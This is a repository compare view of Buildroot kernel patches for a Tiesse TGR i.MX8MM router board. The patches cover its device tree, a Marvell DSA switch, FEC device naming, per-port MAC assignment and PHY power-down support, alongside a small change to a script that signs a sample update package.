Compare commits
3 Commits
master
...
production
Author | SHA1 | Date | |
---|---|---|---|
efef6c0a2d | |||
07dc510a4a | |||
fa764e714b |
@ -49,8 +49,8 @@ openssl rsa -in target/keys/signingkey.pem -outform PEM -pubout -out target/keys
|
|||||||
cp target/keys/signingpub.pem target/overlay/pub.pem
|
cp target/keys/signingpub.pem target/overlay/pub.pem
|
||||||
|
|
||||||
echo "[+] Generating sample update package"
|
echo "[+] Generating sample update package"
|
||||||
mkdir -p home/update
|
mkdir -p home/upgrade
|
||||||
echo "sample update" > home/update/sample.txt
|
echo "sample update" > home/upgrade/sample.txt
|
||||||
tar -cvf update.tar home
|
tar -cvf update.tar home
|
||||||
openssl dgst -sha256 -sign target/keys/signingkey.pem -out update.tar.sig update.tar
|
openssl dgst -sha256 -sign target/keys/signingkey.pem -out update.tar.sig update.tar
|
||||||
cat update.tar > update.tar.cc
|
cat update.tar > update.tar.cc
|
||||||
|
@ -1,8 +1,8 @@
|
|||||||
diff --git arch/arm64/boot/dts/freescale/Makefile arch/arm64/boot/dts/freescale/Makefile
|
Index: arch/arm64/boot/dts/freescale/Makefile
|
||||||
index da7ede2f5744..2a0a0f56b9a8 100644
|
===================================================================
|
||||||
--- linux-imx/arch/arm64/boot/dts/freescale/Makefile
|
--- arch/arm64/boot/dts/freescale/Makefile.orig
|
||||||
+++ linux-imx/arch/arm64/boot/dts/freescale/Makefile
|
+++ linux-imx/arch/arm64/boot/dts/freescale/Makefile
|
||||||
@@ -116,7 +116,8 @@ dtb-$(CONFIG_ARCH_FSL_IMX8MQ) += fsl-imx8mq-ddr3l-arm2.dtb \
|
@@ -116,7 +116,8 @@ dtb-$(CONFIG_ARCH_FSL_IMX8MQ) += fsl-imx
|
||||||
fsl-imx8mq-evk-inmate.dtb \
|
fsl-imx8mq-evk-inmate.dtb \
|
||||||
fsl-imx8mq-evk-dp.dtb \
|
fsl-imx8mq-evk-dp.dtb \
|
||||||
fsl-imx8mq-evk-edp.dtb
|
fsl-imx8mq-evk-edp.dtb
|
||||||
@ -12,12 +12,11 @@ index da7ede2f5744..2a0a0f56b9a8 100644
|
|||||||
fsl-imx8mm-evk-ak4497.dtb \
|
fsl-imx8mm-evk-ak4497.dtb \
|
||||||
fsl-imx8mm-evk-m4.dtb \
|
fsl-imx8mm-evk-m4.dtb \
|
||||||
fsl-imx8mm-evk-ak5558.dtb \
|
fsl-imx8mm-evk-ak5558.dtb \
|
||||||
diff --git arch/arm64/boot/dts/freescale/fsl-imx8mm-tgr.dts arch/arm64/boot/dts/freescale/fsl-imx8mm-tgr.dts
|
Index: arch/arm64/boot/dts/freescale/fsl-imx8mm-tgr.dts
|
||||||
new file mode 100755
|
===================================================================
|
||||||
index 000000000000..411de1c8c620
|
|
||||||
--- /dev/null
|
--- /dev/null
|
||||||
+++ linux-imx/arch/arm64/boot/dts/freescale/fsl-imx8mm-tgr.dts
|
+++ linux-imx/arch/arm64/boot/dts/freescale/fsl-imx8mm-tgr.dts
|
||||||
@@ -0,0 +1,629 @@
|
@@ -0,0 +1,646 @@
|
||||||
+/*
|
+/*
|
||||||
+ * Copyright 2018 NXP
|
+ * Copyright 2018 NXP
|
||||||
+ *
|
+ *
|
||||||
@ -52,30 +51,12 @@ index 000000000000..411de1c8c620
|
|||||||
+
|
+
|
||||||
+ pwr {
|
+ pwr {
|
||||||
+ label = "pwr";
|
+ label = "pwr";
|
||||||
+ gpios = <&gpio4 8 GPIO_ACTIVE_HIGH>;
|
+ gpios = <&gpio4 5 GPIO_ACTIVE_HIGH>;
|
||||||
+ default-state = "on";
|
+ default-state = "on";
|
||||||
+ };
|
+ };
|
||||||
+
|
+
|
||||||
+ lte {
|
+ lte {
|
||||||
+ label = "lte";
|
+ label = "lte";
|
||||||
+ gpios = <&gpio4 7 GPIO_ACTIVE_HIGH>;
|
|
||||||
+ default-state = "off";
|
|
||||||
+ };
|
|
||||||
+
|
|
||||||
+ ble {
|
|
||||||
+ label = "ble";
|
|
||||||
+ gpios = <&gpio4 6 GPIO_ACTIVE_HIGH>;
|
|
||||||
+ default-state = "off";
|
|
||||||
+ };
|
|
||||||
+
|
|
||||||
+ wifi {
|
|
||||||
+ label = "wifi";
|
|
||||||
+ gpios = <&gpio4 5 GPIO_ACTIVE_HIGH>;
|
|
||||||
+ default-state = "off";
|
|
||||||
+ };
|
|
||||||
+
|
|
||||||
+ wan {
|
|
||||||
+ label = "wan";
|
|
||||||
+ gpios = <&gpio4 4 GPIO_ACTIVE_HIGH>;
|
+ gpios = <&gpio4 4 GPIO_ACTIVE_HIGH>;
|
||||||
+ default-state = "off";
|
+ default-state = "off";
|
||||||
+ };
|
+ };
|
||||||
@ -103,15 +84,6 @@ index 000000000000..411de1c8c620
|
|||||||
+ };
|
+ };
|
||||||
+};
|
+};
|
||||||
+
|
+
|
||||||
+&memory {
|
|
||||||
+ reg = <0x0 0x40000000 0 0x40000000>;
|
|
||||||
+};
|
|
||||||
+
|
|
||||||
+&linux_cma {
|
|
||||||
+ size = <0 0x14000000>;
|
|
||||||
+ alloc-ranges = <0 0x40000000 0 0x30000000>;
|
|
||||||
+};
|
|
||||||
+
|
|
||||||
+&iomuxc {
|
+&iomuxc {
|
||||||
+ pinctrl-names = "default";
|
+ pinctrl-names = "default";
|
||||||
+ pinctrl-0 = <&pinctrl_hog>;
|
+ pinctrl-0 = <&pinctrl_hog>;
|
||||||
@ -130,7 +102,8 @@ index 000000000000..411de1c8c620
|
|||||||
+ MX8MM_IOMUXC_SAI1_TXFS_GPIO4_IO10 0x80 /* OC HUB USB */
|
+ MX8MM_IOMUXC_SAI1_TXFS_GPIO4_IO10 0x80 /* OC HUB USB */
|
||||||
+ MX8MM_IOMUXC_SAI1_TXD7_GPIO4_IO19 0x10 /* USB PWR */
|
+ MX8MM_IOMUXC_SAI1_TXD7_GPIO4_IO19 0x10 /* USB PWR */
|
||||||
+ MX8MM_IOMUXC_SAI1_MCLK_GPIO4_IO20 0x80 /* OC USB */
|
+ MX8MM_IOMUXC_SAI1_MCLK_GPIO4_IO20 0x80 /* OC USB */
|
||||||
+ MX8MM_IOMUXC_GPIO1_IO14_GPIO1_IO14 0x10 /* RST HUB */
|
+
|
||||||
|
+ MX8MM_IOMUXC_GPIO1_IO14_GPIO1_IO14 0x10
|
||||||
+
|
+
|
||||||
+ /* SDIO WIFI */
|
+ /* SDIO WIFI */
|
||||||
+ MX8MM_IOMUXC_SAI1_TXD1_GPIO4_IO13 0x10 /* SDIO WIFI ENABLE */
|
+ MX8MM_IOMUXC_SAI1_TXD1_GPIO4_IO13 0x10 /* SDIO WIFI ENABLE */
|
||||||
@ -140,6 +113,9 @@ index 000000000000..411de1c8c620
|
|||||||
+ MX8MM_IOMUXC_SAI1_RXC_GPIO4_IO1 0x10 /* MODEM RST */
|
+ MX8MM_IOMUXC_SAI1_RXC_GPIO4_IO1 0x10 /* MODEM RST */
|
||||||
+ MX8MM_IOMUXC_SAI1_RXD0_GPIO4_IO2 0x10 /* SIM SELECT */
|
+ MX8MM_IOMUXC_SAI1_RXD0_GPIO4_IO2 0x10 /* SIM SELECT */
|
||||||
+ MX8MM_IOMUXC_SAI1_RXD1_GPIO4_IO3 0x10 /* CMD_POWER */
|
+ MX8MM_IOMUXC_SAI1_RXD1_GPIO4_IO3 0x10 /* CMD_POWER */
|
||||||
|
+
|
||||||
|
+ /* RST BUTTON */
|
||||||
|
+ MX8MM_IOMUXC_SAI1_RXD7_GPIO4_IO9 0x1c0
|
||||||
+ >;
|
+ >;
|
||||||
+ };
|
+ };
|
||||||
+
|
+
|
||||||
@ -519,12 +495,6 @@ index 000000000000..411de1c8c620
|
|||||||
+ pinctrl-names = "default";
|
+ pinctrl-names = "default";
|
||||||
+ pinctrl-0 = <&pinctrl_i2c3>;
|
+ pinctrl-0 = <&pinctrl_i2c3>;
|
||||||
+ status = "okay";
|
+ status = "okay";
|
||||||
+
|
|
||||||
+ usb2422@2c {
|
|
||||||
+ compatible = "microchip,usb2422";
|
|
||||||
+ reg = <0x2c>;
|
|
||||||
+ reset-gpios = <&gpio1 14 GPIO_ACTIVE_LOW>;
|
|
||||||
+ };
|
|
||||||
+};
|
+};
|
||||||
+
|
+
|
||||||
+
|
+
|
||||||
@ -536,26 +506,72 @@ index 000000000000..411de1c8c620
|
|||||||
+ pinctrl-names = "default";
|
+ pinctrl-names = "default";
|
||||||
+ pinctrl-0 = <&pinctrl_fec1>, <&pinctrl_fec1_gpio>;
|
+ pinctrl-0 = <&pinctrl_fec1>, <&pinctrl_fec1_gpio>;
|
||||||
+ phy-mode = "rmii";
|
+ phy-mode = "rmii";
|
||||||
+ phy-handle = <ðphy0>;
|
|
||||||
+ fsl,magic-packet;
|
+ fsl,magic-packet;
|
||||||
|
+ fsl,devname = "ethsw0";
|
||||||
+ status = "okay";
|
+ status = "okay";
|
||||||
+
|
+
|
||||||
+ phy-reset-gpios = <&gpio4 17 GPIO_ACTIVE_LOW>;
|
|
||||||
+ phy-reset-duration = <10>;
|
|
||||||
+
|
|
||||||
+ assigned-clocks = <&clk IMX8MM_CLK_ENET_REF_SRC>;
|
+ assigned-clocks = <&clk IMX8MM_CLK_ENET_REF_SRC>;
|
||||||
+ assigned-clock-parents = <&clk IMX8MM_SYS_PLL2_50M>;
|
+ assigned-clock-parents = <&clk IMX8MM_SYS_PLL2_50M>;
|
||||||
+ assigned-clock-rates = <50000000>;
|
+ assigned-clock-rates = <50000000>;
|
||||||
+
|
+
|
||||||
|
+ fixed-link {
|
||||||
|
+ speed = <100>;
|
||||||
|
+ full-duplex;
|
||||||
|
+ };
|
||||||
|
+
|
||||||
+ mdio {
|
+ mdio {
|
||||||
+ #address-cells = <1>;
|
+ #address-cells = <1>;
|
||||||
+ #size-cells = <0>;
|
+ #size-cells = <0>;
|
||||||
+
|
+
|
||||||
+ ethphy0: ethernet-phy@5 {
|
+ switch0: switch@16 {
|
||||||
+ compatible = "ethernet-phy-ieee802.3-c22";
|
+ #address-cells = <1>;
|
||||||
+ reg = <0x5>;
|
+ #size-cells = <0>;
|
||||||
+ clocks = <&clk IMX8MM_CLK_ENET_REF_SRC>;
|
+
|
||||||
+ clock-names = "rmii-ref";
|
+ compatible = "marvell,mv88e6250";
|
||||||
|
+ reg = <0x10>;
|
||||||
|
+ dsa,member = <0 0>;
|
||||||
|
+ reset-gpios = <&gpio4 17 GPIO_ACTIVE_LOW>;
|
||||||
|
+
|
||||||
|
+ ports {
|
||||||
|
+ #address-cells = <1>;
|
||||||
|
+ #size-cells = <0>;
|
||||||
|
+
|
||||||
|
+ port@5 {
|
||||||
|
+ reg = <5>;
|
||||||
|
+ ethernet = <&fec1>;
|
||||||
|
+ phy-mode = "rmii";
|
||||||
|
+
|
||||||
|
+ fixed-link {
|
||||||
|
+ speed = <100>;
|
||||||
|
+ full-duplex;
|
||||||
|
+ };
|
||||||
|
+ };
|
||||||
|
+
|
||||||
|
+ port@1 {
|
||||||
|
+ reg = <1>;
|
||||||
|
+ label = "eth0";
|
||||||
|
+ phy-handle = <&switch0phy1>;
|
||||||
|
+ };
|
||||||
|
+
|
||||||
|
+ port@2 {
|
||||||
|
+ reg = <2>;
|
||||||
|
+ label = "eth1";
|
||||||
|
+ phy-handle = <&switch0phy2>;
|
||||||
|
+ };
|
||||||
|
+
|
||||||
|
+ };
|
||||||
|
+
|
||||||
|
+ mdio {
|
||||||
|
+ #address-cells = <1>;
|
||||||
|
+ #size-cells = <0>;
|
||||||
|
+
|
||||||
|
+ switch0phy1: switch0phy1@11 {
|
||||||
|
+ reg = <0x11>;
|
||||||
|
+ };
|
||||||
|
+ switch0phy2: switch0phy2@12 {
|
||||||
|
+ reg = <0x12>;
|
||||||
|
+ };
|
||||||
|
+ };
|
||||||
+ };
|
+ };
|
||||||
+ };
|
+ };
|
||||||
+};
|
+};
|
||||||
@ -647,25 +663,3 @@ index 000000000000..411de1c8c620
|
|||||||
+&A53_0 {
|
+&A53_0 {
|
||||||
+ arm-supply = <&buck2_reg>;
|
+ arm-supply = <&buck2_reg>;
|
||||||
+};
|
+};
|
||||||
diff --git a/arch/arm64/boot/dts/freescale/fsl-imx8mm.dtsi b/arch/arm64/boot/dts/freescale/fsl-imx8mm.dtsi
|
|
||||||
index e200219ea8bb..333c9fbaf07f 100644
|
|
||||||
--- linux-imx/arch/arm64/boot/dts/freescale/fsl-imx8mm.dtsi
|
|
||||||
+++ linux-imx/arch/arm64/boot/dts/freescale/fsl-imx8mm.dtsi
|
|
||||||
@@ -65,7 +65,7 @@
|
|
||||||
};
|
|
||||||
};
|
|
||||||
|
|
||||||
- memory@40000000 {
|
|
||||||
+ memory: memory@40000000 {
|
|
||||||
device_type = "memory";
|
|
||||||
reg = <0x0 0x40000000 0 0x80000000>;
|
|
||||||
};
|
|
||||||
@@ -76,7 +76,7 @@
|
|
||||||
ranges;
|
|
||||||
|
|
||||||
/* global autoconfigured region for contiguous allocations */
|
|
||||||
- linux,cma {
|
|
||||||
+ linux_cma: linux,cma {
|
|
||||||
compatible = "shared-dma-pool";
|
|
||||||
reusable;
|
|
||||||
size = <0 0x28000000>;
|
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
diff --git drivers/usb/misc/usb251xb.c drivers/usb/misc/usb251xb.c
|
diff --git drivers/usb/misc/usb251xb.c drivers/usb/misc/usb251xb.c
|
||||||
index 135c91c434bf..a1ca97c07266 100644
|
index 135c91c434bf..a1ca97c07266 100644
|
||||||
--- linux-imx/drivers/usb/misc/usb251xb.c
|
--- drivers/usb/misc/usb251xb.c
|
||||||
+++ linux-imx/drivers/usb/misc/usb251xb.c
|
+++ linux-imx/drivers/usb/misc/usb251xb.c
|
||||||
@@ -155,6 +155,11 @@ struct usb251xb_data {
|
@@ -155,6 +155,11 @@ struct usb251xb_data {
|
||||||
char product_str[USB251XB_STRING_BUFSIZE / 2]; /* ASCII string */
|
char product_str[USB251XB_STRING_BUFSIZE / 2]; /* ASCII string */
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
diff --git drivers/mfd/Kconfig drivers/mfd/Kconfig
|
diff --git drivers/mfd/Kconfig drivers/mfd/Kconfig
|
||||||
index 997a6172735e..e33bd218301b 100644
|
index 997a6172735e..e33bd218301b 100644
|
||||||
--- linux-imx/drivers/mfd/Kconfig
|
--- drivers/mfd/Kconfig
|
||||||
+++ linux-imx/drivers/mfd/Kconfig
|
+++ linux-imx/drivers/mfd/Kconfig
|
||||||
@@ -1818,6 +1818,14 @@ config MFD_BD71837
|
@@ -1818,6 +1818,14 @@ config MFD_BD71837
|
||||||
if you say yes here you get support for the BD71837
|
if you say yes here you get support for the BD71837
|
||||||
@ -19,7 +19,7 @@ index 997a6172735e..e33bd218301b 100644
|
|||||||
|
|
||||||
diff --git drivers/mfd/Makefile drivers/mfd/Makefile
|
diff --git drivers/mfd/Makefile drivers/mfd/Makefile
|
||||||
index c6755df735ba..962dcc88d99c 100644
|
index c6755df735ba..962dcc88d99c 100644
|
||||||
--- linux-imx/drivers/mfd/Makefile
|
--- drivers/mfd/Makefile
|
||||||
+++ linux-imx/drivers/mfd/Makefile
|
+++ linux-imx/drivers/mfd/Makefile
|
||||||
@@ -232,3 +232,4 @@ obj-$(CONFIG_MFD_STM32_LPTIMER) += stm32-lptimer.o
|
@@ -232,3 +232,4 @@ obj-$(CONFIG_MFD_STM32_LPTIMER) += stm32-lptimer.o
|
||||||
obj-$(CONFIG_MFD_STM32_TIMERS) += stm32-timers.o
|
obj-$(CONFIG_MFD_STM32_TIMERS) += stm32-timers.o
|
||||||
@ -338,7 +338,7 @@ index 000000000000..85ce6e3eef68
|
|||||||
+MODULE_LICENSE("GPL");
|
+MODULE_LICENSE("GPL");
|
||||||
diff --git drivers/regulator/Kconfig drivers/regulator/Kconfig
|
diff --git drivers/regulator/Kconfig drivers/regulator/Kconfig
|
||||||
index 5361947ea726..e5b3c9ffb982 100644
|
index 5361947ea726..e5b3c9ffb982 100644
|
||||||
--- linux-imx/drivers/regulator/Kconfig
|
--- drivers/regulator/Kconfig
|
||||||
+++ linux-imx/drivers/regulator/Kconfig
|
+++ linux-imx/drivers/regulator/Kconfig
|
||||||
@@ -983,5 +983,11 @@ config REGULATOR_BD71837
|
@@ -983,5 +983,11 @@ config REGULATOR_BD71837
|
||||||
help
|
help
|
||||||
@ -354,7 +354,7 @@ index 5361947ea726..e5b3c9ffb982 100644
|
|||||||
|
|
||||||
diff --git drivers/regulator/Makefile drivers/regulator/Makefile
|
diff --git drivers/regulator/Makefile drivers/regulator/Makefile
|
||||||
index 1bddbefbc8e7..0072ad5666f8 100644
|
index 1bddbefbc8e7..0072ad5666f8 100644
|
||||||
--- linux-imx/drivers/regulator/Makefile
|
--- drivers/regulator/Makefile
|
||||||
+++ linux-imx/drivers/regulator/Makefile
|
+++ linux-imx/drivers/regulator/Makefile
|
||||||
@@ -126,6 +126,7 @@ obj-$(CONFIG_REGULATOR_WM8350) += wm8350-regulator.o
|
@@ -126,6 +126,7 @@ obj-$(CONFIG_REGULATOR_WM8350) += wm8350-regulator.o
|
||||||
obj-$(CONFIG_REGULATOR_WM8400) += wm8400-regulator.o
|
obj-$(CONFIG_REGULATOR_WM8400) += wm8400-regulator.o
|
||||||
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,26 @@
|
|||||||
|
Index: drivers/net/ethernet/freescale/fec_main.c
|
||||||
|
===================================================================
|
||||||
|
--- drivers/net/ethernet/freescale/fec_main.c
|
||||||
|
+++ linux-imx/drivers/net/ethernet/freescale/fec_main.c
|
||||||
|
@@ -3630,12 +3630,19 @@ fec_probe(struct platform_device *pdev)
|
||||||
|
struct device_node *np = pdev->dev.of_node, *phy_node;
|
||||||
|
int num_tx_qs;
|
||||||
|
int num_rx_qs;
|
||||||
|
+ const char *dev_name;
|
||||||
|
|
||||||
|
fec_enet_get_queue_num(pdev, &num_tx_qs, &num_rx_qs);
|
||||||
|
|
||||||
|
/* Init network device */
|
||||||
|
- ndev = alloc_etherdev_mqs(sizeof(struct fec_enet_private) +
|
||||||
|
- FEC_STATS_SIZE, num_tx_qs, num_rx_qs);
|
||||||
|
+ dev_name = of_get_property(np, "fsl,devname", NULL);
|
||||||
|
+ if (dev_name)
|
||||||
|
+ ndev = alloc_netdev_mqs(sizeof(struct fec_enet_private) +
|
||||||
|
+ FEC_STATS_SIZE, dev_name, NET_NAME_UNKNOWN,
|
||||||
|
+ ether_setup, num_tx_qs, num_rx_qs);
|
||||||
|
+ else
|
||||||
|
+ ndev = alloc_etherdev_mqs(sizeof(struct fec_enet_private) +
|
||||||
|
+ FEC_STATS_SIZE, num_tx_qs, num_rx_qs);
|
||||||
|
if (!ndev)
|
||||||
|
return -ENOMEM;
|
||||||
|
|
@ -0,0 +1,49 @@
|
|||||||
|
Index: net/dsa/Kconfig
|
||||||
|
===================================================================
|
||||||
|
--- net/dsa/Kconfig
|
||||||
|
+++ linux-imx/net/dsa/Kconfig
|
||||||
|
@@ -40,4 +40,9 @@ config NET_DSA_TAG_TRAILER
|
||||||
|
config NET_DSA_TAG_QCA
|
||||||
|
bool
|
||||||
|
|
||||||
|
+config NET_DSA_SLAVE_MAC
|
||||||
|
+ bool "DSA Extension for Tiesse TGR"
|
||||||
|
+ ---help---
|
||||||
|
+ This enables a Tiesse TGR specific mac assignement schema
|
||||||
|
+
|
||||||
|
endif
|
||||||
|
Index: net/dsa/slave.c
|
||||||
|
===================================================================
|
||||||
|
--- net/dsa/slave.c
|
||||||
|
+++ linux-imx/net/dsa/slave.c
|
||||||
|
@@ -27,6 +27,18 @@
|
||||||
|
|
||||||
|
static bool dsa_slave_dev_check(struct net_device *dev);
|
||||||
|
|
||||||
|
+#ifdef CONFIG_NET_DSA_SLAVE_MAC
|
||||||
|
+static inline void eth_hw_addr_assign(int port_index,
|
||||||
|
+ struct net_device *dst,
|
||||||
|
+ struct net_device *src)
|
||||||
|
+{
|
||||||
|
+ u64 temp = ether_addr_to_u64(src->dev_addr);
|
||||||
|
+ temp += port_index-1;
|
||||||
|
+ u64_to_ether_addr(temp, dst->dev_addr);
|
||||||
|
+ dst->addr_assign_type = src->addr_assign_type;
|
||||||
|
+}
|
||||||
|
+#endif
|
||||||
|
+
|
||||||
|
/* slave mii_bus handling ***************************************************/
|
||||||
|
static int dsa_slave_phy_read(struct mii_bus *bus, int addr, int reg)
|
||||||
|
{
|
||||||
|
@@ -1277,7 +1289,11 @@ int dsa_slave_create(struct dsa_port *po
|
||||||
|
slave_dev->features = master->vlan_features | NETIF_F_HW_TC;
|
||||||
|
slave_dev->hw_features |= NETIF_F_HW_TC;
|
||||||
|
slave_dev->ethtool_ops = &dsa_slave_ethtool_ops;
|
||||||
|
+#ifdef CONFIG_NET_DSA_SLAVE_MAC
|
||||||
|
+ eth_hw_addr_assign(port->index, slave_dev, master);
|
||||||
|
+#else
|
||||||
|
eth_hw_addr_inherit(slave_dev, master);
|
||||||
|
+#endif
|
||||||
|
slave_dev->priv_flags |= IFF_NO_QUEUE;
|
||||||
|
slave_dev->netdev_ops = &dsa_slave_netdev_ops;
|
||||||
|
slave_dev->switchdev_ops = &dsa_slave_switchdev_ops;
|
322
buildroot/board/tiesse/tgr/kernel-patches/1006-imx8mm-shut.patch
Normal file
322
buildroot/board/tiesse/tgr/kernel-patches/1006-imx8mm-shut.patch
Normal file
@ -0,0 +1,322 @@
|
|||||||
|
Index: drivers/net/phy/phy.c
|
||||||
|
===================================================================
|
||||||
|
--- drivers/net/phy/phy.c
|
||||||
|
+++ linux-imx/drivers/net/phy/phy.c
|
||||||
|
@@ -55,6 +55,7 @@ static const char *phy_state_to_str(enum
|
||||||
|
PHY_STATE_STR(NOLINK)
|
||||||
|
PHY_STATE_STR(FORCING)
|
||||||
|
PHY_STATE_STR(CHANGELINK)
|
||||||
|
+ PHY_STATE_STR(POWERED_DOWN)
|
||||||
|
PHY_STATE_STR(HALTED)
|
||||||
|
PHY_STATE_STR(RESUMING)
|
||||||
|
}
|
||||||
|
@@ -241,6 +242,33 @@ static void phy_sanitize_settings(struct
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
+static int phy_shut(struct phy_device *phydev)
|
||||||
|
+{
|
||||||
|
+ mutex_lock(&phydev->lock);
|
||||||
|
+ phydev->power = PHY_POWER_DOWN;
|
||||||
|
+ if (PHY_HALTED == phydev->state) {
|
||||||
|
+ mutex_unlock(&phydev->lock);
|
||||||
|
+ return 0;
|
||||||
|
+ }
|
||||||
|
+ phydev->state = PHY_POWERED_DOWN;
|
||||||
|
+ mutex_unlock(&phydev->lock);
|
||||||
|
+ return 0;
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static int phy_unshut(struct phy_device *phydev)
|
||||||
|
+{
|
||||||
|
+ mutex_lock(&phydev->lock);
|
||||||
|
+ phydev->power = PHY_POWER_UP;
|
||||||
|
+ if (PHY_HALTED == phydev->state) {
|
||||||
|
+ mutex_unlock(&phydev->lock);
|
||||||
|
+ return 0;
|
||||||
|
+ }
|
||||||
|
+ phy_power_up(phydev);
|
||||||
|
+ phydev->state = PHY_CHANGELINK;
|
||||||
|
+ mutex_unlock(&phydev->lock);
|
||||||
|
+ return 0;
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
/**
|
||||||
|
* phy_ethtool_sset - generic ethtool sset function, handles all the details
|
||||||
|
* @phydev: target phy_device struct
|
||||||
|
@@ -257,10 +285,28 @@ static void phy_sanitize_settings(struct
|
||||||
|
int phy_ethtool_sset(struct phy_device *phydev, struct ethtool_cmd *cmd)
|
||||||
|
{
|
||||||
|
u32 speed = ethtool_cmd_speed(cmd);
|
||||||
|
+ int ret;
|
||||||
|
|
||||||
|
if (cmd->phy_address != phydev->mdio.addr)
|
||||||
|
return -EINVAL;
|
||||||
|
|
||||||
|
+ if (PHY_POWERED_DOWN == phydev->state) {
|
||||||
|
+ if (cmd->power == PHY_POWER_UP) {
|
||||||
|
+ ret = phy_unshut(phydev);
|
||||||
|
+ if (ret < 0)
|
||||||
|
+ return -EIO;
|
||||||
|
+ phy_trigger_machine(phydev, true);
|
||||||
|
+ }
|
||||||
|
+ return 0;
|
||||||
|
+ }
|
||||||
|
+ else if (cmd->power == PHY_POWER_DOWN) {
|
||||||
|
+ ret = phy_shut(phydev);
|
||||||
|
+ if (ret < 0)
|
||||||
|
+ return -EIO;
|
||||||
|
+ phy_trigger_machine(phydev, true);
|
||||||
|
+ return 0;
|
||||||
|
+ }
|
||||||
|
+
|
||||||
|
/* We make sure that we don't pass unsupported values in to the PHY */
|
||||||
|
cmd->advertising &= phydev->supported;
|
||||||
|
|
||||||
|
@@ -308,10 +354,28 @@ int phy_ethtool_ksettings_set(struct phy
|
||||||
|
u8 duplex = cmd->base.duplex;
|
||||||
|
u32 speed = cmd->base.speed;
|
||||||
|
u32 advertising;
|
||||||
|
+ int ret;
|
||||||
|
|
||||||
|
if (cmd->base.phy_address != phydev->mdio.addr)
|
||||||
|
return -EINVAL;
|
||||||
|
|
||||||
|
+ if (PHY_POWERED_DOWN == phydev->state) {
|
||||||
|
+ if (cmd->base.power == PHY_POWER_UP) {
|
||||||
|
+ ret = phy_unshut(phydev);
|
||||||
|
+ if (ret < 0)
|
||||||
|
+ return -EIO;
|
||||||
|
+ phy_trigger_machine(phydev, true);
|
||||||
|
+ }
|
||||||
|
+ return 0;
|
||||||
|
+ }
|
||||||
|
+ else if (cmd->base.power == PHY_POWER_DOWN) {
|
||||||
|
+ ret = phy_shut(phydev);
|
||||||
|
+ if (ret < 0)
|
||||||
|
+ return -EIO;
|
||||||
|
+ phy_trigger_machine(phydev, true);
|
||||||
|
+ return 0;
|
||||||
|
+ }
|
||||||
|
+
|
||||||
|
ethtool_convert_link_mode_to_legacy_u32(&advertising,
|
||||||
|
cmd->link_modes.advertising);
|
||||||
|
|
||||||
|
@@ -379,6 +443,7 @@ void phy_ethtool_ksettings_get(struct ph
|
||||||
|
cmd->base.autoneg = phydev->autoneg;
|
||||||
|
cmd->base.eth_tp_mdix_ctrl = phydev->mdix_ctrl;
|
||||||
|
cmd->base.eth_tp_mdix = phydev->mdix;
|
||||||
|
+ cmd->base.power = phydev->power;
|
||||||
|
}
|
||||||
|
EXPORT_SYMBOL(phy_ethtool_ksettings_get);
|
||||||
|
|
||||||
|
@@ -881,7 +946,7 @@ void phy_state_machine(struct work_struc
|
||||||
|
struct delayed_work *dwork = to_delayed_work(work);
|
||||||
|
struct phy_device *phydev =
|
||||||
|
container_of(dwork, struct phy_device, state_queue);
|
||||||
|
- bool needs_aneg = false, do_suspend = false;
|
||||||
|
+ bool needs_aneg = false, do_suspend = false, do_power_down = false;
|
||||||
|
enum phy_state old_state;
|
||||||
|
int err = 0;
|
||||||
|
int old_link;
|
||||||
|
@@ -1014,6 +1079,14 @@ void phy_state_machine(struct work_struc
|
||||||
|
do_suspend = true;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
+ case PHY_POWERED_DOWN:
|
||||||
|
+ phy_read_status(phydev);
|
||||||
|
+ if (phydev->link) {
|
||||||
|
+ phydev->link = 0;
|
||||||
|
+ phy_link_down(phydev, true);
|
||||||
|
+ do_power_down = true;
|
||||||
|
+ }
|
||||||
|
+ break;
|
||||||
|
case PHY_RESUMING:
|
||||||
|
if (AUTONEG_ENABLE == phydev->autoneg) {
|
||||||
|
err = phy_aneg_done(phydev);
|
||||||
|
@@ -1059,8 +1132,14 @@ void phy_state_machine(struct work_struc
|
||||||
|
|
||||||
|
if (needs_aneg)
|
||||||
|
err = phy_start_aneg_priv(phydev, false);
|
||||||
|
- else if (do_suspend)
|
||||||
|
- phy_suspend(phydev);
|
||||||
|
+ else {
|
||||||
|
+ if (do_suspend)
|
||||||
|
+ phy_suspend(phydev);
|
||||||
|
+ if (do_power_down) {
|
||||||
|
+ phy_power_down(phydev);
|
||||||
|
+ phy_read_status(phydev);
|
||||||
|
+ }
|
||||||
|
+ }
|
||||||
|
|
||||||
|
if (err < 0)
|
||||||
|
phy_error(phydev);
|
||||||
|
Index: drivers/net/phy/phy_device.c
|
||||||
|
===================================================================
|
||||||
|
--- drivers/net/phy/phy_device.c
|
||||||
|
+++ linux-imx/drivers/net/phy/phy_device.c
|
||||||
|
@@ -1230,6 +1230,31 @@ out:
|
||||||
|
}
|
||||||
|
EXPORT_SYMBOL(phy_loopback);
|
||||||
|
|
||||||
|
+int phy_power_down(struct phy_device *phydev)
|
||||||
|
+{
|
||||||
|
+ struct phy_driver *phydrv = to_phy_driver(phydev->mdio.dev.driver);
|
||||||
|
+ int ret = 0;
|
||||||
|
+
|
||||||
|
+ if (phydev->drv && phydrv->suspend)
|
||||||
|
+ ret = phydrv->suspend(phydev);
|
||||||
|
+
|
||||||
|
+ return ret;
|
||||||
|
+
|
||||||
|
+}
|
||||||
|
+EXPORT_SYMBOL(phy_power_down);
|
||||||
|
+
|
||||||
|
+int phy_power_up(struct phy_device *phydev)
|
||||||
|
+{
|
||||||
|
+ struct phy_driver *phydrv = to_phy_driver(phydev->mdio.dev.driver);
|
||||||
|
+ int ret = 0;
|
||||||
|
+
|
||||||
|
+ if (phydev->drv && phydrv->resume)
|
||||||
|
+ ret = phydrv->resume(phydev);
|
||||||
|
+
|
||||||
|
+ return ret;
|
||||||
|
+}
|
||||||
|
+EXPORT_SYMBOL(phy_power_up);
|
||||||
|
+
|
||||||
|
/* Generic PHY support and helper functions */
|
||||||
|
|
||||||
|
/**
|
||||||
|
@@ -1501,6 +1526,7 @@ EXPORT_SYMBOL(genphy_update_link);
|
||||||
|
*/
|
||||||
|
int genphy_read_status(struct phy_device *phydev)
|
||||||
|
{
|
||||||
|
+ int bmcr;
|
||||||
|
int adv;
|
||||||
|
int err;
|
||||||
|
